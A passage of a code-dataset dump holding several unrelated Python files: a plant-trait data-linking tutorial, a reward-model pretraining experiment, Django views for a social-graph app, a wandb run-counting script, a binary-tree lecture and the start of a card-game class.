length'}, inplace = True)\n df.rename(columns = {'Leaf nitrogen (N) content per leaf area':'Leaf N per area'}, inplace = True)\n df.rename(columns = {'Leaf nitrogen/phosphorus (N/P) ratio':'Leaf N P ratio'}, inplace = True)\n df.rename(columns = {'Leaf nitrogen (N) isotope signature (delta 15N)':'Leaf delta15N'}, inplace = True)\n df.rename(columns = {'Leaf fresh mass':'Leaf fresh mass'}, inplace = True)\n df.rename(columns = {'Seed number per reproducton unit':'Seeds per rep. unit'}, inplace = True)\n df.rename(columns = {'Stem conduit density (vessels and tracheids)':'Stem conduit density'}, inplace = True)\n df.rename(columns = {'Dispersal unit length':'Dispersal unit length'}, inplace = True)\n df.rename(columns = {'Wood vessel element length; stem conduit (vessel and tracheids) element length':'Conduit element length'}, inplace = True)\n df.rename(columns = {'Plant height vegetative':'Plant Height'}, inplace = True)\n df.rename(columns = {'Leaf area (in case of compound leaves: leaflet, undefined if petiole is in- or excluded)':'Leaf Area'}, inplace = True)\n df.rename(columns = {'Leaf area per leaf dry mass (specific leaf area, SLA or 1/LMA): undefined if petiole is in- or excluded':'SLA'}, inplace = True)\n\n\n# Change data frame from long to wide using ```pandas.DataFrame.pivot```. And shorten trait names.\n\n# In[22]:\n\n\nTRY = TRY.pivot(index=[\"AccSpeciesName\"], columns=\"TraitName\", values=\"mean\")\n\n# reset indeces (species name) as columns in data frame\nTRY.reset_index(inplace=True)\n\n# rename trait variables to shorter names\nshorten_names(TRY)\n\nTRY.head(3)\n\n\n# In[23]:\n\n\n# Optional: Save file\n#TRY.to_csv(\"TRY/TRY_summary_stats.csv\", index=False)\n\n\n# ### Create summary stats with original name\n\n# In[24]:\n\n\n# group data by species name and trait, same analysis as above\ngrouped_syn = TRYdata.groupby(['SpeciesName', 'TraitID', 'TraitName'])\n\nTRY_syn = grouped_syn['StdValue'].agg([np.mean]).reset_index()\n\n# change df shape\nTRY_syn = TRY_syn.pivot(index=[\"SpeciesName\"], columns=\"TraitName\", values=\"mean\")\n\n# reset indeces (species name) as columns in data frame\nTRY_syn.reset_index(inplace=True)\n\n# shorten column names\nshorten_names(TRY_syn)\n\n#optional\n#TRY_syn.to_csv(\"TRY/TRY_summary_stats_syn.csv\", index=False)\n\nTRY_syn.head(3)\n\n\n# ## Link iNaturalist to TRY\n\n# Non-fuzzy merge with TRY summary stats on **consolidated TRY species name**:\n# \n\n# In[ ]:\n\n\nimport pandas as pd # for handling dataframes in python\n\niNat = pd.read_csv('iNat_observations.csv')\n\n\n# In[25]:\n\n\niNat_TRY = pd.merge(iNat, TRY, \n left_on= ['scientificName'],\n right_on= ['AccSpeciesName'], \n how='inner')\niNat_TRY.head(3)\n\n\n# Extract from TRY those observations that have not been matched:\n\n# In[26]:\n\n\n# filter for observations not in merged dataframe:\niNat_rest = iNat[~iNat.gbifID.isin(iNat_TRY['gbifID'])]\niNat_rest.shape\n\n\n# We repeat the same with the **'original' species name** in TRY:\n\n# In[27]:\n\n\n# non-fuzzy merge with TRY summary stats on original TRY species name:\n\niNat_TRY_syn = pd.merge(iNat_rest, TRY_syn, \n left_on= ['scientificName'],\n right_on= ['SpeciesName'], \n how='inner')\niNat_TRY_syn.head(3)\n\n\n# In[28]:\n\n\nsubsets = [iNat_TRY, iNat_TRY_syn]\n\niNat_TRY_all = pd.concat(subsets)\niNat_TRY_all = iNat_TRY_all.drop(['AccSpeciesName', 'SpeciesName'], axis = 1)\n\n\n# In[29]:\n\n\n# replace infinite values as NaN\n\niNat_TRY_all = iNat_TRY_all.replace(-np.inf, np.nan)\niNat_TRY_all = iNat_TRY_all.replace(np.inf, np.nan)\n\n\n# In[30]:\n\n\niNat_TRY_all.head()\n\n\n# In[31]:\n\n\ntrait = iNat_TRY_all.columns[6:24]\n\niNat_TRY_all.loc[:, trait] = np.log(iNat_TRY_all[trait])\n\n\n# In[32]:\n\n\niNat_TRY_all.to_csv(\"iNat_TRY_log.csv\", index=False)\n\niNat_TRY_all.head()\n\n\n# After matching with consolidated and original name, we were able to match about 84% of the iNaturalist observations with trait information. Many rare species seem to be absent in either one of the two databases.\n# \n\n# In[33]:\n\n\nprint('percentage of iNat observations linked with at least one TRY trait:')\nprint(len(iNat_TRY_all)/len(iNat))\n\nprint('percentage of species in iNaturalist matched with TRY:')\nprint(iNat_TRY_all[\"scientificName\"].nunique()/iNat[\"scientificName\"].nunique())\n\n","repo_name":"sojwolf/Jupyter_Workshop_Winterschool_2022","sub_path":"JupyterTutorial/_build/jupyter_execute/2.2_Additional_Materials.py","file_name":"2.2_Additional_Materials.py","file_ext":"py","file_size_in_byte":10731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3957539138","text":"\"\"\"Module for conducting an experiment.\"\"\"\nimport math\nimport os\nfrom os import path\nfrom pathlib import Path\nfrom typing import Union\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom pytorch_lightning import LightningModule, Trainer\nfrom pytorch_lightning.callbacks.early_stopping import EarlyStopping\nfrom torch.utils.data import DataLoader, Dataset, random_split\n\nfrom ml_project.reward_model.networks import (\n LightningTrajectoryNetworkExperiment,\n LightningTrajectoryNetworkPreTrain,\n)\nfrom ml_project.types import FloatNDArray\n\nscript_path = Path(__file__).parent.resolve()\n\npretrained_model_path = path.join(\n script_path,\n \"..\",\n \"..\",\n \"lightning_logs\",\n \"experiment1_pretrained_linear\",\n \"checkpoints\",\n \"epoch=22-step=5750.ckpt\",\n)\n\n\nclass TrajectoryDataset(Dataset):\n \"\"\"PyTorch Dataset for loading trajectories data.\"\"\"\n\n def __init__(self, trajectories: list[tuple[int, int]]):\n \"\"\"Initialize dataset.\"\"\"\n self.data = [obs for (obs, _) in trajectories]\n self.target = [reward for (_, reward) in trajectories]\n\n def __len__(self):\n \"\"\"Return size of dataset.\"\"\"\n return len(self.data)\n\n def __getitem__(self, idx):\n \"\"\"Return item with given index.\"\"\"\n return self.data[idx], self.target[idx]\n\n\nclass MultiStepPreferenceDataset(Dataset):\n \"\"\"PyTorch Dataset for loading preference data for multiple steps.\"\"\"\n\n # Specify -1 for `sequence_length` to use the full trajectories\n def __init__(self, data: list[tuple[list[int], list[int]]], sequence_length: int):\n \"\"\"Initialize dataset.\"\"\"\n trajectory_pairs: list[tuple[list[int], list[int]]] = data\n\n sequence_pairs: list[tuple[FloatNDArray, FloatNDArray]] = []\n\n for trajectory1, trajectory2 in trajectory_pairs:\n trajectory_length = (\n len(trajectory1) if sequence_length == -1 else sequence_length\n )\n\n for index in range(len(trajectory1) - trajectory_length + 1):\n # find the end of this pattern\n end_index = index + trajectory_length\n\n # gather input and output parts of the pattern\n sequence_pair = (\n np.array(\n trajectory1[index:end_index],\n dtype=np.float32,\n ),\n np.array(\n trajectory2[index:end_index],\n dtype=np.float32,\n ),\n )\n sequence_pairs.append(sequence_pair)\n\n self.sequence_pairs = sequence_pairs\n\n def __len__(self):\n \"\"\"Return size of dataset.\"\"\"\n return len(self.sequence_pairs)\n\n def __getitem__(self, index: int):\n \"\"\"Return items with given index.\"\"\"\n return self.sequence_pairs[index]\n\n\ndef train_reward_model(\n reward_model: LightningModule,\n dataset: Union[TrajectoryDataset, MultiStepPreferenceDataset],\n epochs: int,\n batch_size: int,\n split_ratio: float = 0.8,\n):\n \"\"\"Train a reward model given preference data.\"\"\"\n train_size = math.floor(split_ratio * len(dataset))\n train_set, val_set = random_split(\n dataset, lengths=[train_size, len(dataset) - train_size]\n )\n\n cpu_count = os.cpu_count()\n cpu_count = cpu_count if cpu_count is not None else 8\n\n train_loader = DataLoader(\n train_set,\n batch_size=batch_size,\n shuffle=True,\n pin_memory=True,\n num_workers=cpu_count,\n )\n\n val_loader = DataLoader(\n val_set,\n batch_size=batch_size,\n pin_memory=True,\n num_workers=cpu_count,\n )\n\n trainer = Trainer(\n max_epochs=epochs,\n log_every_n_steps=5,\n callbacks=[EarlyStopping(monitor=\"val_loss\", mode=\"min\")],\n )\n\n trainer.fit(reward_model, train_loader, val_loader)\n\n return reward_model\n\n\ndef true_reward(state: int):\n \"\"\"Return true reward.\"\"\"\n return 0.8 * state\n\n\ndef engineered_reward(state: int):\n \"\"\"Return engineered reward.\"\"\"\n return state\n\n\ndef generate_reward_data(amount: int = 10000):\n \"\"\"Genereate synthetic reward data.\"\"\"\n states = 200 * np.random.rand(amount) - 100\n rewards = [engineered_reward(state) for state in states]\n return list(zip(states, rewards))\n\n\ndef generate_preference_data(amount: int = 100):\n \"\"\"Genereate synthetic preference data.\"\"\"\n pairs = 200 * np.random.rand(amount, 2) - 100\n\n preference_data = []\n\n for first, second in pairs:\n if true_reward(first) < true_reward(second):\n preference_data.append(([first], [second]))\n elif true_reward(first) > true_reward(second):\n preference_data.append(([second], [first]))\n else:\n preference_data.append(([first], [second]))\n preference_data.append(([second], [first]))\n\n return preference_data\n\n\ndef main():\n \"\"\"Run experiment.\"\"\"\n reward_data = generate_reward_data()\n preference_data = generate_preference_data()\n\n TrajectoryDataset(reward_data)\n finetune_dataset = MultiStepPreferenceDataset(preference_data, sequence_length=-1)\n\n reward_model = LightningTrajectoryNetworkPreTrain(\n layer_num=3, input_dim=1, hidden_dim=64, output_dim=1\n )\n # train_reward_model(reward_model, pretrain_dataset, epochs=100, batch_size=32)\n checkpoint = torch.load(pretrained_model_path)\n reward_model.load_state_dict(checkpoint[\"state_dict\"])\n\n f_reward_model = LightningTrajectoryNetworkExperiment(\n layer_num=3, input_dim=1, hidden_dim=64, output_dim=1\n )\n\n # load pre-trained model\n checkpoint = torch.load(pretrained_model_path)\n f_reward_model.load_state_dict(checkpoint[\"state_dict\"])\n\n train_reward_model(f_reward_model, finetune_dataset, epochs=100, batch_size=1)\n\n # load fine-tuned model\n # ...\n\n x_axis = np.arange(-100, 100, 1)\n\n true_r = [true_reward(x) for x in x_axis]\n engineered_r = [engineered_reward(x) for x in x_axis]\n with torch.no_grad():\n pretrained_r = [reward_model(torch.Tensor([x])).numpy()[0] for x in x_axis]\n finetuned_r = [f_reward_model(torch.Tensor([[x]])).numpy()[0] for x in x_axis]\n\n ys_values = [true_r, engineered_r, pretrained_r, finetuned_r]\n\n labels = [\n \"true reward\",\n \"engineered reward\",\n \"pre-trained model\",\n \"fine-tuned model\",\n ]\n colors = [\n \"tab:blue\",\n \"tab:red\",\n \"tab:green\",\n \"tab:purple\",\n ]\n\n for index, label in enumerate(labels):\n plt.plot(x_axis, ys_values[index], color=colors[index], label=label)\n plt.xlabel(\"State\", fontsize=\"xx-large\")\n plt.ylabel(\"Reward\", fontsize=\"xx-large\")\n plt.grid(True, color=\"gray\", alpha=0.5)\n plt.legend(fontsize=\"x-large\", borderpad=0.1, labelspacing=0.1)\n plt.savefig(\n \"ml_project/experiments/experiment1_with_pretraining.png\",\n dpi=100,\n bbox_inches=\"tight\",\n pad_inches=0,\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"xiaoxiaoshikui/Machine-Learning-Project-for-ETH-AI-Center","sub_path":"ml_project/experiments/experiment1.py","file_name":"experiment1.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"2095590990","text":"from django.shortcuts import get_object_or_404, render, render_to_response, redirect\nfrom django.http import HttpResponseRedirect, Http404, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.contenttypes.models import ContentType\nimport json\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.core.urlresolvers import reverse\nfrom django.forms.models import model_to_dict\nfrom django.http import JsonResponse\n\nfrom django.core.exceptions import PermissionDenied\n\nfrom .models import *\nfrom .forms import *\n\n\ndef home(request):\n floatsam = Floatsam.objects.all()\n try:\n current_star=Star.objects.get(id=request.user.id)\n edit_array = current_star.can_edit_array\n except:\n current_star=None\n edit_array=[]\n\n for sam in floatsam:\n sam.peers = sam.coven.all()\n if hasattr(sam, \"constellation\"):\n sam.charge = -300\n else:\n sam.charge = -2000\n return render(request, 'homepage.html', {\"floatsam\":floatsam, \"editable_slugs\":edit_array})\n\n\ndef directory(request):\n constellations = Constellation.objects.all()\n stars = Star.objects.all()\n jetsam = Jetsam.objects.all()\n floatsam = Floatsam.objects.all()\n\n for sam in floatsam:\n sam.peers = sam.coven.all()\n\n return render(request, 'directory.html', {\"constellations\":constellations,\"stars\":stars,\"jetsam\":jetsam,\"floatsam\":floatsam})\n\n\n\ndef floatsam_detail(request, slug):\n floatsam = get_object_or_404(Floatsam, slug=slug)\n floatsam.peers = floatsam.coven.all()\n ct = ContentType.objects.get_for_model(Constellation)\n constellations = []\n return render(request, 'constellation/floatsam_detail.html',{\"floatsam\":floatsam,\"constellations\":constellations})\n\ndef jetsam_detail(request, slug):\n jetsam = get_object_or_404(Jetsam, slug=slug)\n return render(request, 'constellation/jetsam_detail.html',{\"jetsam\":jetsam,})\n\ndef json_floatsam_detail(request, slug):\n floatsam = get_object_or_404(Floatsam, slug=slug)\n floatsamjson = floatsam.json\n floatsamjson[\"jetsam\"] = [x.json for x in floatsam.jetsam_set.all()]\n return JsonResponse(floatsamjson)\n\n\ndef links_json(request):\n floatsam = Floatsam.objects.all()\n\n for sam in floatsam:\n sam.peers = sam.coven.all()\n print (sam.peers)\n if hasattr(sam, \"constellation\"):\n sam.charge = -300\n else:\n sam.charge = -2000\n\n links = [{\"source\": item.floatsam_id, \"target\": thing.floatsam_id}\n for thing in floatsam\n for item in floatsam\n if item.floatsam_id in [x.floatsam_id for x in thing.peers]\n ]\n\n links = [dict(y) for y in set(tuple(x.items()) for x in links)]\n\n return JsonResponse(links, safe=False)\n\n\n\ndef floatsam_json(request):\n floatsam = Floatsam.objects.all()\n floatsam_list=[{\"num\":0,\"name\":\"FolkRoutes\",\"charge\":-200,\"size\":1},]\n for item in floatsam:\n if hasattr(item, \"constellation\"):\n item.charge = -300\n else:\n item.charge = -2000\n print (item.name)\n floatsam_list.append({\n \"num\":item.floatsam_id,\n \"name\":item.name,\n \"url\":\"/floatsam/json/\"+item.slug,\n \"charge\":item.charge,\n \"size\":item.size,\n })\n return JsonResponse(floatsam_list, safe=False)\n\n\ndef check_perms(request, slug):\n current_star =Star.objects.get(id=request.user.id)\n if slug in current_star.can_edit_array:\n pass\n else:\n raise PermissionDenied(\"No perms to do that\")\n\n\n@login_required\ndef delete_jetsam(request, slug):\n jetsam = get_object_or_404(Jetsam, slug=slug)\n check_perms(request, jetsam.maker.slug)\n jetsam.delete()\n return HttpResponse(\"jetsam deleted\")\n\n@login_required\ndef add_jetsam(request, slug=None, makerslug=None):\n\n try:\n jetsam = Jetsam.objects.get(slug=slug)\n except:\n jetsam = None\n\n current_star=Star.objects.get(id=request.user.id)\n\n if jetsam:\n check_perms(request, jetsam.maker.slug)\n\n if makerslug:\n maker = get_object_or_404(Floatsam, slug=makerslug)\n else:\n maker = current_star\n\n\n if not jetsam and request.method == 'GET':\n form = JetsamAddForm()\n elif jetsam and request.method == 'GET':\n form = JetsamAddForm(instance=jetsam)\n else:\n if jetsam:\n form = JetsamAddForm(request.POST, instance=jetsam)\n else:\n form = JetsamAddForm(request.POST)\n\n if form.is_valid():\n\n newjet = form.save(commit=False)\n newjet.maker = maker\n\n print (request.FILES)\n\n if request.FILES.get(\"upload\"):\n newjet.upload = request.FILES[\"upload\"]\n\n newjet.save()\n\n return redirect('jetsam_detail', slug=newjet.slug)\n\n submit_url = reverse(\"add_jetsam\", args=(maker.slug, slug))\n\n return render(request, 'constellation/generic_form.html', {\n 'form': form, 'submit_url':submit_url,\n })\n\n\n\n@login_required\ndef edit_floatsam(request, slug=None):\n\n floatsam = get_object_or_404(Floatsam, slug=slug)\n\n form = FloatsamEditForm(instance=floatsam)\n\n check_perms(request, floatsam.slug)\n\n if request.method == 'POST':\n form = FloatsamEditForm(request.POST, instance=floatsam)\n if form.is_valid():\n newfloat = form.save(commit=False)\n if request.FILES.get(\"vanity_image\"):\n newfloat.vanity_image = request.FILES[\"vanity_image\"]\n newfloat.save()\n else:\n form = FloatsamEditForm(instance=floatsam)\n\n\n submit_url = reverse(\"edit_floatsam\", args={\n slug,\n })\n\n return render(request, 'constellation/generic_form.html', {\n 'form': form, 'submit_url':submit_url,\n })\n\n@login_required\ndef add_floatsam(request):\n\n if request.method == 'POST':\n form = ConstellationAddForm(request.POST)\n if form.is_valid():\n newfloat = Floatsam(name=form.cleaned_data[\"name\"])\n newconst = form.save(commit=False)\n if request.FILES.get(\"vanity_image\"):\n newconst.vanity_image = request.FILES[\"vanity_image\"]\n newconst.from_floatsam = newfloat\n newconst.save()\n newconst.coven.add(Star.objects.get(id=request.user.id))\n newconst.save()\n return HttpResponseRedirect(reverse(\"index\"))\n\n else:\n form = ConstellationAddForm()\n\n submit_url = reverse(\"add_floatsam\")\n\n return render(request, 'constellation/generic_form.html', {\n 'form': form, 'submit_url':submit_url,\n })\n\n\n\n@login_required\ndef request_floatsam(request, slug=None):\n recipient = get_object_or_404(Floatsam, slug=slug)\n initiator = Star.objects.get(id=request.user.id)\n connection = ConnectionRequest.objects.get_or_create(initiator=initiator, recipient=recipient)\n return HttpResponse(\"connection requested\")\n\n@login_required\ndef accept_request(request, initiator_slug=None, recipient_slug=None):\n check_perms(request, recipient_slug)\n initiator = get_object_or_404(Floatsam, slug=initiator_slug)\n recipient = get_object_or_404(Floatsam, slug=recipient_slug)\n connection = get_object_or_404(ConnectionRequest, initiator=initiator, recipient=recipient)\n try:\n ConnectionRequest.objects.get(initiator=recipient, recipient=initiator).delete()\n except:\n pass\n initiator.coven.add(recipient)\n initiator.save()\n connection.delete()\n return HttpResponseRedirect(reverse(\"index\"))\n\n\n@login_required\ndef deny_request(request, initiator_slug=None, recipient_slug=None):\n check_perms(request, recipient_slug)\n initiator = get_object_or_404(Floatsam, slug=initiator_slug)\n recipient = get_object_or_404(Floatsam, slug=recipient_slug)\n connection = get_object_or_404(ConnectionRequest, initiator=initiator, recipient=recipient)\n connection.delete()\n return HttpResponseRedirect(reverse(\"index\"))\n\n\n","repo_name":"nikonikoniko/folkroutes","sub_path":"constellation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22362328148","text":"\nimport wandb\n\n\napi = wandb.Api()\nnum_trials = 3\nall_missing_runs = 0\n\nprojects = {\"FFM_ablate\": 14.5e6}\nfor proj, min_timesteps in projects.items():\n print(f\"\\n\\n### {proj} ###\")\n # Project is specified by \n runs = api.runs(proj)\n names = [r.name for r in runs]\n crashed = [r.state for r in runs]\n num_timesteps = [r.summary.get(\"timesteps_total\", 0) for r in runs]\n envs = [r.config[\"env\"] for r in runs]\n ids = [r.id for r in runs]\n # check for name mismatch\n mismatches = []\n for n, e, i in zip(names, envs, ids):\n env_name = n.split(\"-\")[0]\n true_env = e.split(\"-\")\n if len(true_env) == 1:\n true_env = true_env[0]\n else:\n true_env = true_env[1]\n\n if true_env != env_name:\n mismatches.append((env_name, true_env, i))\n\n mismatches = sorted(mismatches)\n if len(mismatches) > 0:\n print(f\"{len(mismatches)} mismatches:\")\n for n, e, i in mismatches:\n print(f\"{n} {e} {i}\")\n unique = set(names)\n counts = [names.count(u) for u in unique]\n run_count = {n: c for n, c in dict(zip(unique, counts)).items()}\n crashed_runs = {n: 0 for n in unique}\n premature_runs = {n: 0 for n in unique}\n for name, state, timesteps in zip(names, crashed, num_timesteps):\n #if state == \"crashed\":\n # crashed_runs[name] += 1\n if timesteps < min_timesteps:\n premature_runs[name] += 1\n\n keys = set(run_count.keys()) | set(crashed_runs.keys()) | set(premature_runs.keys())\n missing = {}\n for key in keys:\n total_valid = (\n run_count.get(key, 0)\n - crashed_runs.get(key, 0)\n - premature_runs.get(key, 0)\n )\n total_missing = num_trials - total_valid\n if total_missing > 0:\n missing[key] = total_missing\n\n # missing = dict(sorted(missing.items(), key=lambda item: item[1]))\n\n print(f\"{proj} missing {sum(missing.values())} runs crashed/early termination:\")\n all_missing_runs += sum(missing.values())\n if len(missing) == 0:\n continue\n print(missing)\n # To config\n envs, models = list(zip(*[m.split(\"-\") for m in missing]))\n counts = list(missing.values())\n\n pretty = [(a, b, c) for a, b, c in sorted(zip(models, envs, counts))]\n models, envs, counts = zip(*pretty)\n pretty = [(a, b, c) for a, b, c in sorted(zip(envs, models, counts))]\n envs, models, counts = zip(*pretty)\n pretty = [(a, b, c) for a, b, c in sorted(zip(counts, envs, models), reverse=True)]\n for p in pretty:\n print(*p)\n\n # Unique set\n umodels, uenvs, ucounts = list(set(models)), list(set(envs)), min(counts)\n print(\"Run set\")\n umod_str = str(umodels).replace(\"'\", \"\")\n print(f\"models = {umod_str}\")\n print(f\"env_names = {uenvs}\")\n print(f\"trials = {ucounts}\")\n print(\"total runs:\", len(umodels) * len(uenvs) * ucounts)\n\n model_types = {\n \"S4D\": \"Convolution\",\n \"FastWeightProgrammer\": \"Attention\",\n \"LinearAttention\": \"Attention\",\n \"Frameconv\": \"Convolution\",\n \"Framestack\": \"Convolution\",\n \"MLP\": \"Simple\",\n \"BasicMLP\": \"Simple\",\n \"IndRNN\": \"RNN\",\n \"LMU\": \"Convolution\",\n \"Elman\": \"RNN\",\n \"GRU\": \"RNN\",\n \"LSTM\": \"RNN\",\n }\n\nprint(f\"Missing {all_missing_runs} overall\")\n","repo_name":"proroklab/ffm","sub_path":"plotting/get_missing.py","file_name":"get_missing.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"2"} +{"seq_id":"36709456591","text":"# 10 true 20 true 40 false false true 50 false false true 30 fasle true 60 false false\n\n\nfrom collections import deque\n\n\nclass BinaryTree:\n\n class Node:\n def __init__(self,data = 0,left = None,right = None):\n self.data = data\n self.left = left\n self.right = right\n\n def __repr__(self) -> str:\n return str(self.data)\n \n def __str__(self) -> str:\n return str(self.data)\n \n def __init__(self) -> None:\n self.root = None\n \n def createTree2(self):\n n1 = self.Node(10)\n n2 = self.Node(20)\n n3 = self.Node(30)\n n4 = self.Node(40)\n n5 = self.Node(50)\n n6 = self.Node(60)\n n7 = self.Node(70)\n n8 = self.Node(80)\n n9 = self.Node(90)\n\n n1.left = n2\n n1.right = n3\n n2.left = n4\n n2.right = n5\n n3.right = n6\n n5.left = n7\n n6.left = n8\n n3.left = n9\n\n self.root = n1\n\n\n def createTree(self):\n self.root = self.__CT(None,True)\n\n def __CT(self,parent : \"Node\",ilr):\n if parent == None:\n print(\"Enter data for root\")\n elif ilr:\n print(\"Enter data for left child of Node \"+str(parent.data))\n else:\n print(\"Enter data for right child of Node \"+str(parent.data))\n \n n = int(input())\n nn = self.Node(n)\n\n print(\"Is there a left Child of Node \"+str(n))\n f = input()\n if f.lower() == 'true':\n nn.left = self.__CT(nn,True)\n \n print(\"Is there a right Child of Node \"+str(n))\n f = input()\n if f.lower() == 'true':\n nn.right = self.__CT(nn,False)\n \n return nn\n \n def display(self):\n self.__disp(self.root)\n \n def __disp(self,cur : \"Node\"):\n if cur == None:\n return\n else:\n s = \"\"\n if cur.left != None:\n s += str(cur.left.data)\n \n s += \" --> \" + str(cur.data) + \" <-- \"\n\n if cur.right != None:\n s += str(cur.right.data)\n \n print(s)\n\n self.__disp(cur.left)\n self.__disp(cur.right)\n \n def size(self):\n return self.__size(self.root)\n\n def __size(self,cur : \"Node\"):\n if cur == None:\n return 0\n else:\n\n lc = self.__size(cur.left)\n rc = self.__size(cur.right)\n\n return lc+rc+1\n \n def maximum(self):\n return self.__max(self.root)\n\n def __max(self,cur : \"Node\"):\n if cur == None:\n return -10**9\n else:\n \n lmax = self.__max(cur.left)\n rmax = self.__max(cur.right)\n\n return max(lmax,rmax,cur.data)\n \n def search(self,ele):\n return self.__search(self.root,ele)\n\n def __search(self,cur,ele):\n if cur == None:\n return False\n else:\n return cur.data == ele or self.__search(cur.left,ele) or self.__search(cur.right,ele) \n \n def ht(self):\n return self.__ht(self.root)-1\n \n def __ht(self,cur):\n if cur == None:\n return 0\n else:\n lht = self.__ht(cur.left)\n rht = self.__ht(cur.right)\n\n return max(lht,rht)+1\n \n\n def preorder(self):\n self.__preOrder(self.root)\n print()\n\n def __preOrder(self,cur):\n if cur == None:\n return\n else:\n print(cur.data,end= \" \")\n self.__preOrder(cur.left)\n self.__preOrder(cur.right)\n \n def inorder(self):\n self.__inOrder(self.root)\n print()\n\n def __inOrder(self,cur):\n if cur == None:\n return\n else:\n self.__inOrder(cur.left)\n print(cur.data,end= \" \")\n self.__inOrder(cur.right)\n \n def postorder(self):\n self.__postOrder(self.root)\n print()\n\n def __postOrder(self,cur):\n if cur == None:\n return\n else:\n self.__postOrder(cur.left)\n self.__postOrder(cur.right)\n print(cur.data,end= \" \")\n \n def printAtLevel(self,lvl):\n self.__pal(self.root,lvl)\n print()\n\n def __pal(self,cur,lvl):\n if cur == None:\n return\n elif lvl == 0:\n print(cur.data,end= \" \")\n return\n else:\n self.__pal(cur.left,lvl-1)\n self.__pal(cur.right,lvl-1)\n \n def BFS(self):\n qt = deque()\n qt.append(self.root)\n\n while len(qt) != 0:\n x = qt.popleft()\n print(x.data,end = \" \")\n if x.left != None:\n qt.append(x.left)\n if x.right != None:\n qt.append(x.right)\n \n print()\n \n def levelbylevel(self):\n qt = deque()\n qt.append(self.root)\n qt.append(None)\n\n while len(qt) != 1:\n x = qt.popleft()\n if x == None:\n print()\n qt.append(None)\n else:\n print(x.data,end = \" \")\n if x.left != None:\n qt.append(x.left)\n if x.right != None:\n qt.append(x.right)\n \n print()\n \n def levelbylevel2(self):\n qt = deque()\n qt.append(self.root)\n\n tmp = deque()\n\n while len(qt) != 0:\n x = qt.popleft()\n print(x.data,end = \" \")\n if x.left != None:\n tmp.append(x.left)\n if x.right != None:\n tmp.append(x.right)\n \n if len(qt) == 0:\n print()\n qt = tmp\n tmp = deque()\n \n def zigzag(self):\n qt = deque()\n qt.append(self.root)\n lvl = 0\n tmp = deque()\n\n while len(qt) != 0:\n # if len(tmp) == 0:\n # if lvl%2==0:\n # for i in qt:\n # print(i.data,end = \" \")\n # else:\n # pass\n # # qt.reverse()\n # # qt.reverse()\n\n x = qt.popleft()\n print(x.data,end = \" \")\n\n if lvl%2 == 0:\n if x.left != None:\n tmp.appendleft(x.left)\n if x.right != None:\n tmp.appendleft(x.right)\n else:\n if x.right != None:\n tmp.appendleft(x.right)\n if x.left != None:\n tmp.appendleft(x.left)\n \n if len(qt) == 0:\n print()\n qt = tmp\n tmp = deque()\n lvl += 1\n \n # print()\n\n def isBal(self):\n return self.__isBal(self.root)\n \n def __isBal(self,cur):\n if cur == None:\n return True\n else:\n lh = self.__ht(cur.left)\n rh = self.__ht(cur.right)\n\n f = abs(lh-rh) <= 1\n lisb = self.__isBal(cur.left)\n risb = self.__isBal(cur.right)\n\n return f and lisb and risb\n \n def isBal2(self):\n return self.__isBal2(self.root)[0]\n \n def __isBal2(self,cur):\n if cur == None:\n return True,-1\n else:\n\n lisb,lh = self.__isBal2(cur.left)\n risb,rh = self.__isBal2(cur.right)\n\n f = abs(lh-rh) <= 1\n\n return f and lisb and risb, max(lh,rh)+1\n \n def verticalOrder(self):\n dt = {}\n self.__vo(self.root,0,dt)\n k = list(dt.keys())\n k.sort()\n for key in k:\n print(key,\":\",dt[key])\n print()\n \n def __vo(self,cur,lvl,dt:\"dict\"):\n if cur == None:\n return\n else:\n\n if lvl in dt:\n dt.get(lvl).append(cur.data)\n else:\n dt[lvl] = [cur.data]\n\n self.__vo(cur.left,lvl-1,dt)\n self.__vo(cur.right,lvl+1,dt)\n \n\n def TopView(self):\n dt = {}\n self.__tpv(self.root,0,0,dt)\n k = list(dt.keys())\n k.sort()\n for key in k:\n print(key,\":\",dt[key][0])\n print()\n \n def __tpv(self,cur,vlvl,hlvl,dt:\"dict\"):\n if cur == None:\n return\n else:\n\n if vlvl in dt:\n t = dt.get(vlvl)\n if t[1] > hlvl:\n dt[vlvl] = (cur.data,hlvl)\n else:\n dt[vlvl] = (cur.data,hlvl)\n\n self.__tpv(cur.left,vlvl-1,hlvl+1,dt)\n self.__tpv(cur.right,vlvl+1,hlvl+1,dt)\n\n\n\n\n\n# f = input()\n# print(f.lower())\nmt = BinaryTree()\nmt.createTree2()\n# mt.display()\n# print(mt.size())\n# print(mt.maximum())\n# print(mt.search(300))\n# print(mt.ht())\n# mt.postorder()\n# mt.printAtLevel(3)\n# mt.zigzag()\n# qt = deque()\n# qt.append(mt.Node(10))\n# qt.append(mt.Node(20))\n# print(qt)\n# print(mt.isBal2())\nmt.TopView()\n\n\n","repo_name":"ShubhamSinghal12/PythonDSAMarch2022","sub_path":"Lec37/Trees.py","file_name":"Trees.py","file_ext":"py","file_size_in_byte":8985,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"70945898288","text":"import collections\n\nfrom .cards import Card, Cards, Deck, Discard, ThreeDown\nfrom .communication import Communicator\n\n\nclass Player:\n \"\"\"A player of the game.\"\"\"\n\n def __init__(self, is_vip: bool, comms: Communicator) -> None:\n \"\"\"\n Args:\n is_vip: Whether they're the first player to join\n comms: The player's Communicator\n \"\"\"\n self.is_vip = is_vip\n self.comms = comms\n self.hand = Cards()\n self.three_up = Cards()\n self.three_down = ThreeDown()\n\n async def place_three_up(self) -> None:\n \"\"\"Before the game starts, choose cards to be your 3up\"\"\"\n cards = await self.hand.choose(\n comms=self.comms,\n prompt=\"3 cards to place as your 3up:\",\n min_num=3,\n max_num=3,\n playing_faceup=False,\n min_card=None,\n )\n assert cards\n self.three_up += cards\n\n async def take_turn(\n self, top_discard_card: Card | None\n ) -> tuple[Cards | None, 